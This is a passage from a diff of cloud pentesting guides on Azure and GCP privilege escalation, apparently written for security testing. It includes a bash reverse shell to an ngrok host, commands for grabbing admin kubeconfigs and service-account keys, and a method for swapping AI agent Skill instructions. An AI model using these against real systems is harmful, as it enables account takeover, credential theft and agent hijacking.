credentials. Deployment reachability and execution in the slot still depend on the app's runtime and networking. + ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//publishxml?api-version=2024-11-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md index cd4a951368..0a25239ee0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md @@ -137,7 +137,7 @@ Defenders can disable this per-cluster with `apiServerAccessProfile.disableRunCo ## Re-arm the built-in cluster admin / graft an attacker Entra admin group (`managedClusters/write`) -**Minimum permissions:** `Microsoft.ContainerService/managedClusters/write` (e.g. Azure Kubernetes Service Contributor / Contributor). +**Minimum permissions:** `Microsoft.ContainerService/managedClusters/write` to change cluster settings. Re-enabling local accounts also requires `Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action` to retrieve and use the admin kubeconfig. Adding an Entra admin group instead requires control of a member identity in that group and a working Entra sign-in to the cluster. **Potential Impact:** a single control-plane action escalates to durable `system:masters`: @@ -199,9 +199,9 @@ kubectl get rolebindings,clusterrolebindings -A -o yaml **Potential Impact:** Create or change Kubernetes roles and bindings via Azure RBAC for Kubernetes: `bind` assigns a role, `escalate` creates/updates a role with privileges the caller lacks -> Kubernetes administrator access and secret disclosure within the cluster/namespace scope. -Azure RBAC operations containing `rbac.authorization.k8s.io` can create or change Kubernetes roles and bindings. `bind` permits assigning a role, while `escalate` permits creating or updating a role containing privileges the caller does not already possess. Their impact is limited by the target cluster or namespace scope but can lead to Kubernetes administrator access and secret disclosure. +Azure RBAC operations containing `rbac.authorization.k8s.io` can create or change Kubernetes roles and bindings when Azure RBAC for Kubernetes is enabled and the caller can authenticate to that cluster's API. Creating a cluster-wide binding to `cluster-admin` requires both `clusterrolebindings/write` and `clusterroles/bind/action` at cluster scope. `escalate` permits creating or updating a role containing privileges the caller does not already possess. Namespace-scoped grants cannot create cluster-wide administrator access through a ClusterRoleBinding. -The same standalone cluster also exposes the Kubernetes **impersonation** verb as Azure-RBAC-for-Kubernetes data-plane actions — `Microsoft.ContainerService/managedClusters/groups/impersonate/action`, `.../users/impersonate/action` and `.../serviceaccounts/impersonate/action` (plus `.../authentication.k8s.io/tokenreviews/write`). A caller holding `groups/impersonate/action` can send every API request **as the `system:masters` group** (or as any admin user/ServiceAccount) *without creating any RoleBinding of its own*. This is a distinct, stealthier privesc than `bind`/`escalate`: it mutates no RBAC object, so `kube-audit` records only impersonated (`impersonatedUser`) requests rather than a role/binding write, and a detection scoped to `rbac.authorization.k8s.io/*/write` misses it entirely. +The same standalone cluster also exposes the Kubernetes **impersonation** verb as Azure-RBAC-for-Kubernetes data-plane actions — `Microsoft.ContainerService/managedClusters/groups/impersonate/action`, `.../users/impersonate/action` and `.../serviceaccounts/impersonate/action` (plus `.../authentication.k8s.io/tokenreviews/write`). Impersonating the `system:masters` group requires **both** `groups/impersonate/action` and `users/impersonate/action` at cluster scope: [Kubernetes requires an `Impersonate-User` header](https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/) whenever an `Impersonate-Group` header is sent. The caller also needs a working, authenticated client for that cluster, such as a cluster-user kubeconfig, and Azure RBAC for Kubernetes must be enabled. With those prerequisites, the caller can make requests as `system:masters` without creating a RoleBinding. This is a distinct privesc from `bind`/`escalate`: it mutates no RBAC object, so a detection scoped to `rbac.authorization.k8s.io/*/write` misses it. The same Azure-RBAC-for-Kubernetes data-plane actions exist under **AKS Fleet Manager** members (`Microsoft.ContainerService/fleets/members/.../pods/exec/action`, `.../serviceaccounts/impersonate/action`, `.../rbac.authorization.k8s.io/*/{bind,escalate}/action`). Combined with the fleet hub credential (`fleets/listCredentials/action`, above) they extend `bind`/`escalate`/`exec`/`impersonate` across **every member cluster** in the fleet — one hub retrieval plus these actions gives fleet-wide blast radius. @@ -224,7 +224,7 @@ The same Writer role can read Kubernetes Secrets, but a generic Secret read is d ## Azure Red Hat OpenShift (ARO) cluster credentials -**Minimum permissions:** `Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action` +**Minimum permissions:** `Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action` for the `kubeadmin` password, or `Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action` for the administrator kubeconfig. **Potential Impact:** returns the ARO cluster's `kubeadmin` username and password. `kubeadmin` is the built-in cluster administrator of the OpenShift cluster, so the credential grants full control of the OpenShift API/console (every namespace, all secrets, arbitrary workload creation) — the ARO equivalent of retrieving the AKS `clusterAdmin` kubeconfig. From there, workloads can be scheduled to reach any managed identity attached to the cluster nodes. @@ -237,6 +237,15 @@ oc login -u kubeadmin -p oc auth can-i '*' '*' --all-namespaces ``` +The `kubeadmin` password stops working if the cluster administrator removes the `kubeadmin` secret after configuring another administrator. The distinct `listAdminCredentials/action` permission returns an administrator kubeconfig. Azure documents this as a way to access the cluster when the normal authentication components cannot provide a login; it requires a reachable Kubernetes API server, but not the `kubeadmin` login. + +```bash +az aro get-admin-kubeconfig --name --resource-group --file ./aro-admin-kubeconfig +KUBECONFIG=./aro-admin-kubeconfig oc auth can-i '*' '*' --all-namespaces +``` + +See [Microsoft's administrator kubeconfig guide](https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig), [Azure's ARO permissions](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift), and [Red Hat's kubeadmin removal guide](https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/authentication_and_authorization/removing-kubeadmin). + The hosted-control-plane preview exposes the equivalent surface under `Microsoft.RedHatOpenShift/hcpOpenShiftClusters/*` (including `externalAuths/write` to wire up an attacker-controlled OIDC identity provider).
@@ -245,6 +254,7 @@ The hosted-control-plane preview exposes the equivalent surface under `Microsoft | Operation / signal | Log & plane | Logged by default? | | --- | --- | --- | | `.../openShiftClusters/listCredentials/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | +| `.../openShiftClusters/listAdminCredentials/action` | Activity Log — Administrative (control-plane) | Yes (~90 days) | | `oc` / OpenShift-API activity with those credentials (cluster data plane) | Not recorded (below the Azure API) — only OpenShift's in-cluster audit log | No | - The `listCredentials` ARM call IS logged in the Azure Activity Log (Administrative, ~90-day) as `.../openShiftClusters/listCredentials/action`. @@ -255,9 +265,9 @@ The hosted-control-plane preview exposes the equivalent surface under `Microsoft {{#include ../../../banners/hacktricks-training.md}} ## Flux GitOps self-healing foothold (`fluxConfigurations/write` / `sourceControlConfigurations/write`) -**Minimum permissions:** `Microsoft.KubernetesConfiguration/fluxConfigurations/write` on the cluster (or the separate legacy `.../sourceControlConfigurations/write` path for clusters that still use it). The `microsoft.flux` extension is required but is installed automatically with the first Flux configuration when needed.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) +**Minimum permissions:** `Microsoft.KubernetesConfiguration/fluxConfigurations/write` inherited from the target cluster to create a configuration, or write on an existing configuration to change it. The legacy `.../sourceControlConfigurations/write` path applies only where that API is still available. The `microsoft.flux` extension is installed automatically with the first Flux configuration when needed.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) -**Potential Impact:** point Flux at an **attacker-controlled Git, Helm, bucket, or Azure Blob source**; the in-cluster Flux controller continuously pulls and applies manifests within its configured scope and permissions. This can provide **self-healing supply-chain persistence** when the source remains under attacker control. Applies to both AKS and Arc-enabled clusters.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) +**Potential Impact:** point Flux at an **attacker-controlled Git, Helm, bucket, or Azure Blob source**; the in-cluster Flux controller continuously pulls and applies manifests within its configured scope and permissions. Cluster scope allows cluster-wide changes; namespace scope limits what the configuration can apply. This can provide **self-healing supply-chain persistence** when the source remains under attacker control. Applies to both AKS and Arc-enabled clusters.[[2]](https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2) **Stealth:** **High** — the one-time config write is in the Activity Log, but the ongoing reconcile-and-apply loop is in-cluster data plane; the persistence rides on a normal-looking GitOps object. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md index bbad3a4cf1..d1d6f37025 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-registry-privesc.md @@ -72,7 +72,7 @@ The attack also requires an existing manually registered target Service, a Bindi ### `agentregistry.skillRevisions.create` + `agentregistry.skills.update` — replace an executable Skill's default revision -Standalone Agent Registry Skills are executable ZIP packages containing a `SKILL.md` instruction file, code scripts and assets. A managed agent can mount either a specific revision or the logical Skill resource; the latter resolves the Skill's mutable `defaultRevision`. An attacker who can add a revision and move that pointer can therefore replace code and instructions consumed by agents that follow the floating version.[[8]](#references)[[9]](#references)[[10]](#references)[[11]](#references) +Standalone Agent Registry Skills are executable ZIP packages containing a `SKILL.md` instruction file, code scripts and assets. Agent Registry lets an operator change a Skill's mutable `defaultRevision`. An attacker who can add a revision and move that pointer may replace code and instructions for a runtime that actually resolves that Agent Registry Skill through its logical name.[[8]](#references)[[9]](#references)[[10]](#references) The managed-agent mount example in reference 11 uses the separate Agent Platform Skill Registry API and does not, by itself, establish that the mounted Skill is the Agent Registry resource changed here. Prepare a valid Skill archive containing the replacement `SKILL.md` and payload, then publish it as a new immutable revision and activate it: @@ -95,7 +95,7 @@ gcloud alpha agent-registry skills update "${SKILL}" \ The same Skill update surface exposes `--scanning-policy=disabled`, which bypasses security scanning for subsequent package ingestion/promotion. An attacker can combine it with the pointer change, but the scan switch is not required when the replacement already passes validation. Syntactic package validation—ZIP structure, size, path and `SKILL.md` frontmatter—does not establish that the code or instructions are benign.[[8]](#references)[[10]](#references) -**Core permissions and prerequisites:** `agentregistry.skillRevisions.create` on the Skill and `agentregistry.skills.update` on the Skill, plus `serviceusage.services.use` on the quota project. The Preview `roles/agentregistry.user` role contains both Agent Registry writes as well as revision and Skill reads; Agent Registry Editor and Admin also contain them. The target must be an existing custom Skill, and a victim agent/environment must mount the logical Skill or otherwise resolve its default revision. Agents pinned to an immutable revision are not affected. Runtime refresh, environment snapshots and caching determine when the replacement is loaded. +**Core permissions and prerequisites:** `agentregistry.skillRevisions.create` on the Skill plus `serviceusage.services.use` on the quota project. Google's revision guide says a new revision automatically becomes the active version. `agentregistry.skills.update` is additionally needed when explicitly changing the default pointer or lifecycle state, as in the command sequence above. The Preview `roles/agentregistry.user` role contains both Agent Registry writes as well as revision and Skill reads; Agent Registry Editor and Admin also contain them. The target must be an existing custom Agent Registry Skill, and a victim agent/environment must be shown to resolve that exact Skill's default revision. A similarly named Skill Registry mount is insufficient. Agents pinned to an immutable revision are not affected. Runtime refresh, environment snapshots and caching determine when the replacement is loaded. This is also **service-level persistence**: the malicious default pointer and Active state remain in Agent Registry until an administrator restores a trusted revision, disables/decommissions the Skill or removes affected agents' mount. It is not whole-project persistence by itself. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md index 56473f54c2..33cf7dbdf9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md @@ -111,18 +111,18 @@ The counter-intuitive v1 `ADMIN_READ` classification and the v1beta1 no-log exce ### `datacatalog.taxonomies.setIamPolicy` — self-grant Fine-Grained Reader -BigQuery policy-tag column-level access control checks `datacatalog.categories.fineGrainedGet`. A principal able to change the policy-tag IAM policy can grant itself `roles/datacatalog.categoryFineGrainedReader` and read protected columns, provided it already has ordinary table/query access.[[13]](#references) +BigQuery policy-tag column-level access control checks `datacatalog.categories.fineGrainedGet` on the protecting tag. A principal able to change an ancestor taxonomy's IAM policy can grant itself `roles/datacatalog.categoryFineGrainedReader` on that taxonomy. The binding applies to its descendant policy tags. Reading a protected column also requires ordinary table and query access.[[13]](#references) -**Minimum permissions and prerequisites:** `datacatalog.taxonomies.setIamPolicy` to grant Fine-Grained Reader on the relevant policy tag, plus `bigquery.tables.getData` and `bigquery.jobs.create` to query the table. `datacatalog.categories.setIamPolicy` is also present in the Policy Tag Admin role, but Google's column-level security instructions identify the taxonomy permission as the grant prerequisite. +**Minimum permissions and prerequisites:** `datacatalog.taxonomies.setIamPolicy` on the exact taxonomy to change its IAM policy. The taxonomy must enforce fine-grained access and contain a descendant policy tag on which the principal lacks the reader permission. The safe CLI merge below also needs `datacatalog.taxonomies.getIamPolicy`. To query a protected table, the principal separately needs `bigquery.tables.getData` and `bigquery.jobs.create`. A policy-tag policy change uses `datacatalog.categories.setIamPolicy` and is a separate path. ```bash -gcloud data-catalog taxonomies policy-tags add-iam-policy-binding \ - --location= --taxonomy= \ +gcloud data-catalog taxonomies add-iam-policy-binding \ + --location= \ --member='user:' \ --role='roles/datacatalog.categoryFineGrainedReader' ``` -**Potential Impact:** raw access to columns protected by the selected policy tag and its applicable hierarchy. It does not grant base table access. +**Potential Impact:** reader access to descendant policy tags in the selected taxonomy. This can expose columns protected by those tags where the principal already has base table access. The grant does not create that base access. **Stealth:** **Medium** — the grant is an Admin Activity event, but it occurs in Data Catalog rather than the BigQuery IAM surface. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md index f2d80529d6..673ab445bd 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md @@ -38,7 +38,7 @@ gcloud functions deploy "$FUNCTION" \ The source in `./payload` can read `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` with the `Metadata-Flavor: Google` header and return or exfiltrate the result. The attacker still needs a way to make the runtime execute: invocation permission, a public endpoint, an event trigger they can activate, or ordinary victim traffic. Creating a function does not automatically grant the caller `run.routes.invoke` on a private 2nd-generation endpoint.[[4]](#references)[[5]](#references) -**Minimum permissions and prerequisites:** `cloudfunctions.functions.create` and the applicable source-upload permission. The current audit catalog names `cloudfunctions.functions.sourceCodeSet` for the v1 `GenerateUploadUrl` method and `cloudfunctions.functions.generateUploadUrl` for v2; a caller that instead points at an already prepared Cloud Storage source needs the corresponding object access. The deployer also needs `iam.serviceAccounts.actAs` on the runtime service account. A source deployment also uses a build account. Google's documented v1/v2 deployment setup grants Service Account User on both the runtime and build accounts. A user-managed or Compute Engine build account therefore requires `actAs`; legacy Google-owned builder behavior and the effective default vary with project history and organization policy. The shown CLI reads state and waits for the operation, so it can add `cloudfunctions.functions.get`, location/operation reads, Service Usage, trigger, Artifact Registry, Storage, and Cloud Build helper permissions beyond a direct prepared API request.[[1]](#references)[[2]](#references)[[3]](#references)[[6]](#references)[[7]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.create` and the applicable source-upload permission. Both the v1 and v2 `GenerateUploadUrl` methods require `cloudfunctions.functions.sourceCodeSet` on the project and location; a caller that instead points at an already prepared Cloud Storage source needs the corresponding object access. The deployer also needs `iam.serviceAccounts.actAs` on the runtime service account. A source deployment also uses a build account. Google's documented v1/v2 deployment setup grants Service Account User on both the runtime and build accounts. A user-managed or Compute Engine build account therefore requires `actAs`; legacy Google-owned builder behavior and the effective default vary with project history and organization policy. The shown CLI reads state and waits for the operation, so it can add `cloudfunctions.functions.get`, location/operation reads, Service Usage, trigger, Artifact Registry, Storage, and Cloud Build helper permissions beyond a direct prepared API request.[[1]](#references)[[2]](#references)[[3]](#references)[[6]](#references)[[7]](#references)[[16]](#references) **Potential Impact:** execute attacker code as the selected runtime service account and obtain its effective Google Cloud privileges. Reach is bounded by that account's IAM roles, access scopes, organization policy, VPC Service Controls, network egress, and the ability to cause an execution. @@ -79,7 +79,7 @@ gcloud functions deploy "$FUNCTION" \ Omitting `--service-account` from a redeploy does not mean that no identity is used. Confirm that the tool/API preserves the existing runtime and build configuration; an accidental reset to a default identity changes both impact and the `actAs` prerequisites. -**Minimum permissions and prerequisites:** `cloudfunctions.functions.update`, the generation's source-upload permission (`cloudfunctions.functions.sourceCodeSet` for v1 or the current documented `cloudfunctions.functions.generateUploadUrl` for v2), and the documented `iam.serviceAccounts.actAs` access to both its runtime and build service accounts (subject to the legacy Google-owned builder caveat). The current `gcloud functions deploy` helper also performs a `cloudfunctions.functions.get` and polls the operation. Exploitation requires the new revision to execute, but an existing event trigger or production traffic can satisfy that prerequisite without the attacker holding an invocation permission.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.update`, `cloudfunctions.functions.sourceCodeSet` for the v1 or v2 managed source upload, and the documented `iam.serviceAccounts.actAs` access to both its runtime and build service accounts (subject to the legacy Google-owned builder caveat). The current `gcloud functions deploy` helper also performs a `cloudfunctions.functions.get` and polls the operation. Exploitation requires the new revision to execute, but an existing event trigger or production traffic can satisfy that prerequisite without the attacker holding an invocation permission.[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references)[[16]](#references) **Potential Impact:** take over the existing function's runtime identity and trusted data path. The attacker can obtain the runtime token, steal requests or responses, and perform any downstream action that the function account and network placement permit. @@ -106,7 +106,7 @@ Detection should compare the caller, source provenance, build account, runtime a ### `cloudfunctions.functions.update` — inject a startup loader without source-update permission -A field-masked configuration update can change environment variables without supplying new source. If the deployed image already contains an attacker-controlled or otherwise useful loader file, a runtime-specific startup option such as `NODE_OPTIONS=--require=/workspace/startup-hook.js` can load it before the legitimate handler. This is a narrower but important permission boundary: it does not require either generation's source-upload permission.[[7]](#references)[[8]](#references)[[9]](#references) +A field-masked configuration update can change environment variables without supplying new source. On a supported Node.js runtime, `NODE_OPTIONS=--import=data:text/javascript,...` can preload inline JavaScript before the handler starts. A file-based option such as `--require=/workspace/startup-hook.js` works only when that file already exists in the deployed image or a readable mount. Neither route needs source-upload permission.[[7]](#references)[[8]](#references)[[9]](#references) Read and preserve the existing map first; replacing the map with only the malicious key can break the application: @@ -132,9 +132,9 @@ jq -n --arg name "$NAME" --argjson env "$ENV_VARS" \ --data-binary @- ``` -Do not generalize this into universal source-free RCE. The referenced module, library, agent, or script must already exist at a readable path and the chosen runtime must honor that option during function startup. For example, `NODE_OPTIONS --require` is materially different from `PYTHONSTARTUP`, which is not executed by every non-interactive Python process. +The inline `--import` route depends on the selected Node.js runtime accepting `NODE_OPTIONS` and starting a new revision after the update. A file-based loader still requires an exact readable file. Do not generalize either route to other runtimes; for example, `PYTHONSTARTUP` is not executed by every non-interactive Python process. -**Minimum permissions and prerequisites:** `cloudfunctions.functions.update` on the victim function, the relevant loader target already present at the exact readable path in the deployed image or a mounted filesystem, and the documented deployer `iam.serviceAccounts.actAs` access to the function's runtime and build service accounts. The API method itself lists `.update`; a preservation-safe flow such as the example also needs `cloudfunctions.functions.get`. No source-upload permission or new source archive is needed.[[1]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[16]](#references) +**Minimum permissions and prerequisites:** `cloudfunctions.functions.update` on an active Node.js function, a runtime that accepts the inline `--import` option or an existing readable loader file, and the documented deployer `iam.serviceAccounts.actAs` access to the function's runtime and build service accounts. The API method itself lists `.update`; a preservation-safe flow such as the example also needs `cloudfunctions.functions.get`. No source-upload permission or new source archive is needed.[[1]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[16]](#references) **Potential Impact:** execute the existing loader payload under the function's runtime service account and obtain that account's reachable privileges without changing the source archive. Impact is limited to functions whose runtime and filesystem contents provide a viable startup hook. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md index 5e113acd89..37964fc732 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md @@ -54,7 +54,7 @@ bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &' gcloud compute instances reset my-vm-instance --zone ``` -**Potential Impact:** escalates to **root on eligible Linux VMs that inherit the project metadata**, and from there to the effective permissions of each attached service account via its metadata token. It is not automatically "every VM": OS Login-enabled VMs reject metadata-based SSH keys, `block-project-ssh-keys=TRUE` blocks project SSH keys, Windows uses different startup-script keys, and all startup-script routes depend on a compatible running guest environment. SSH-key injection also needs network reachability; forcing a startup script immediately requires `compute.instances.reset` (or stop/start permissions) on each target. The SA token remains bounded by the VM's access scopes, the SA's IAM grants and conditions, and controls such as VPC Service Controls.[[9]](#references)[[25]](#references) +**Potential Impact:** escalates to **root on eligible Linux VMs that inherit the project metadata**, and from there to the effective permissions of each attached service account via its metadata token. It is not automatically "every VM": instance startup scripts take precedence over project scripts, and zonal metadata can override the same project startup key. OS Login-enabled VMs reject metadata-based SSH keys, `block-project-ssh-keys=TRUE` blocks project SSH keys, Windows uses different startup-script keys, and all startup-script routes depend on a compatible running guest environment. SSH-key injection also needs network reachability; forcing a startup script immediately requires `compute.instances.reset` (or stop/start permissions) on each target. The SA token remains bounded by the VM's access scopes, the SA's IAM grants and conditions, and controls such as VPC Service Controls.[[2]](#references)[[3]](#references)[[9]](#references)[[25]](#references) **Stealth:** **Low** — the project-wide Admin Activity mutation records the affected metadata key names, and a forced reset adds a second high-signal event. The value is hidden, but changes to `ssh-keys` or startup-script keys are straightforward to alert on. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md index 201071aad7..5ebc187734 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md @@ -22,7 +22,9 @@ Config Controller is a Google-managed GKE control plane with Config Connector (K A principal that can create or update a supported `*.cnrm.cloud.google.com` object can make KCC call the corresponding Google Cloud API as the configured Config Connector identity. For example, if that identity can set the project allow policy, an `IAMPolicyMember` can grant an attacker-controlled service account a project role without the attacker holding `resourcemanager.projects.setIamPolicy`. -**Minimum permissions and prerequisites:** network reachability and authentication to the backing cluster, plus Kubernetes RBAC `create` (or `patch`/`update`) on the chosen KCC resource in a namespace that KCC watches. Fetching a new kubeconfig with `gcloud anthos config controller get-credentials` uses `container.clusters.get`; an already usable kubeconfig avoids that helper call. The configured KCC identity must independently possess every downstream Google Cloud permission required by the chosen resource. For the example below the reconciliation needs `resourcemanager.projects.getIamPolicy` and `resourcemanager.projects.setIamPolicy` on the target project because `IAMPolicyMember` reads and merges one member into the existing policy. A Policy Controller constraint or validating webhook can still reject the manifest.[[3]](#references)[[4]](#references)[[10]](#references) +**Minimum permissions and prerequisites:** network reachability and authentication to the backing cluster, plus Kubernetes RBAC `create` (or `patch`/`update`) on the chosen KCC resource in a namespace that KCC watches. A Google Cloud user or service account needs `container.clusters.get` to authenticate to GKE, even when it already has a kubeconfig. The configured KCC identity must independently possess every downstream Google Cloud permission required by the chosen resource. For the example below the reconciliation needs `resourcemanager.projects.getIamPolicy` and `resourcemanager.projects.setIamPolicy` on the target project because `IAMPolicyMember` reads and merges one member into the existing policy. A Policy Controller constraint or validating webhook can still reject the manifest.[[3]](#references)[[4]](#references)[[10]](#references)[[13]](#references) + +Creating an `IAMPolicyMember` can add a new member, but its `member`, `role`, and `resourceRef` fields are immutable; update-only access to an existing `IAMPolicyMember` cannot redirect it to an attacker. Update-only access can grant a role through an existing `IAMPolicy` or `IAMPartialPolicy` whose immutable `resourceRef` already names the target project, because those resources have mutable bindings. The reference can name the cloud project directly through `external`, or name a Config Connector `Project` resource whose `spec.resourceID` identifies that cloud project. The caller gains only actions the configured identity can perform through supported KCC resources; the Kubernetes write does not hand out that identity's credentials. See [IAMPolicyMember fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember), [IAMPolicy fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicy), [IAMPartialPolicy fields](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampartialpolicy), and [Project resource IDs](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/resourcemanager/project). ```bash PROJECT_ID="PROJECT_ID" @@ -71,9 +73,9 @@ Kubernetes API writes are Cloud Audit Logs under service `k8s.io`; they are not ### KCC `IAMServiceAccountKey` plus Secret read — mint a long-lived key for a more privileged service account -The `IAMServiceAccountKey` KCC resource creates a user-managed service-account key. By default KCC imports the one-time private key response into a Kubernetes Secret with the same name and namespace. A caller able to create the KCC object and read that Secret can turn KCC's service-account-key permission into credentials for a target service account.[[7]](#references) +The `IAMServiceAccountKey` KCC resource creates a user-managed service-account key. By default KCC imports the one-time private key response into a Kubernetes Secret with the same name and namespace. The resource also exposes `status.privateKey` when the key is first created. A caller able to create the KCC object and read either the Secret or that resource status can turn KCC's service-account-key permission into credentials for a target service account. There is also a separate upload route: the caller supplies `spec.publicKeyData` from a key pair it controls and keeps the matching private key, so it does not need to read the resulting Secret or resource status.[[7]](#references)[[12]](#references) -**Minimum permissions and prerequisites:** Kubernetes RBAC `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com` and `get` on the resulting Secret in the same namespace. The namespace's Config Connector identity needs `iam.serviceAccountKeys.create` on the target service account; normal reconciliation/lifecycle management also uses key get/list/delete permissions, so `roles/iam.serviceAccountKeyAdmin` or a deliberately equivalent custom role is the practical grant. The organization policy that disables service-account-key creation must not block the target, and the manifest must not set `cnrm.cloud.google.com/create-gsa-key-secret: "false"`.[[7]](#references)[[8]](#references) +**Minimum permissions and prerequisites:** Kubernetes RBAC `create` on `iamserviceaccountkeys.iam.cnrm.cloud.google.com`, or the GKE IAM fallback permission `container.thirdPartyObjects.create`. A Google Cloud caller also needs `container.clusters.get` to authenticate to the cluster. For a generated key, the caller also needs `get` on the resulting Secret or `get` on the key resource in the same namespace; the Secret route requires that the manifest does not set `cnrm.cloud.google.com/create-gsa-key-secret: "false"`. For an uploaded key, the caller instead supplies a valid X.509 public-key certificate and keeps its private key, with no Secret read. The namespace's Config Connector identity needs `iam.serviceAccountKeys.create` on the target service account for either IAM API route; normal reconciliation/lifecycle management also uses key get/list/delete permissions, so `roles/iam.serviceAccountKeyAdmin` or a deliberately equivalent custom role is the practical grant. The effective key-creation policy governs generated keys, while the separate key-upload policy governs supplied public keys.[[7]](#references)[[8]](#references)[[12]](#references)[[13]](#references) ```bash TARGET_SA="privileged-sa@PROJECT_ID.iam.gserviceaccount.com" @@ -98,7 +100,7 @@ kubectl get secret captured-key \ -o jsonpath='{.data.key\.json}' | base64 -d > /tmp/captured-key.json ``` -The private material is returned only at key creation; KCC's automatic Secret is what makes it recoverable to the cluster caller. The current upstream controller stores the decoded credentials file in Secret data key `key.json`. Targeting a service account does not succeed merely because it is referenced: the Config Connector identity must be authorized to create a key for it.[[11]](#references) +The private material is returned only at key creation. KCC's automatic Secret stores the decoded credentials file in data key `key.json`; the resource's `status.privateKey` is another read route when the caller can get that resource after reconciliation. Targeting a service account does not succeed merely because it is referenced: the Config Connector identity must be authorized to create a key for it.[[7]](#references)[[11]](#references) **Potential Impact:** long-lived offline impersonation of the target service account, bounded by that account's IAM permissions, deny policies, VPC Service Controls, and any credential restrictions. It does not automatically yield the Config Connector identity itself unless that identity is the target and key creation is permitted on it. @@ -164,5 +166,7 @@ One-time setup event; the binding itself is durable and invisible to project-sco - [9] [IAM service-account key audit log examples](https://docs.cloud.google.com/iam/docs/audit-logging/examples-service-accounts) - [10] [Config Connector `IAMPolicyMember`](https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember) - [11] [Config Connector service-account-key Secret controller](https://github.com/GoogleCloudPlatform/k8s-config-connector/blob/master/pkg/controller/gsakeysecretgenerator/gsakey_secret_generator.go) +- [12] [IAM upload service account key API](https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload) +- [13] [GKE RBAC and IAM authorization](https://docs.cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md index 8420dc67ba..b96e8067b9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md @@ -33,6 +33,8 @@ configdelivery.fleetPackages.create **Minimum permissions / prerequisites:** The five permissions above on the Config Delivery project; Config Delivery and Config Sync enabled; target clusters registered to the named fleet; and a target/selector that includes those clusters. The release must use a semantic version such as `v1.0.0`, be created as `DRAFT`, contain at least one valid Kubernetes manifest in a variant, and be changed to `PUBLISHED` before the fleet package selects its tag. Config Delivery currently supports `us-central1`.[[1]](#references) +A cluster-admin path needs more than those API permissions. On an exact selected fleet member, Config Sync must be running. A new fleet package creates its own RootSync, whose reconciler has `cluster-admin` by default. When updating an existing package, check the RootSync named 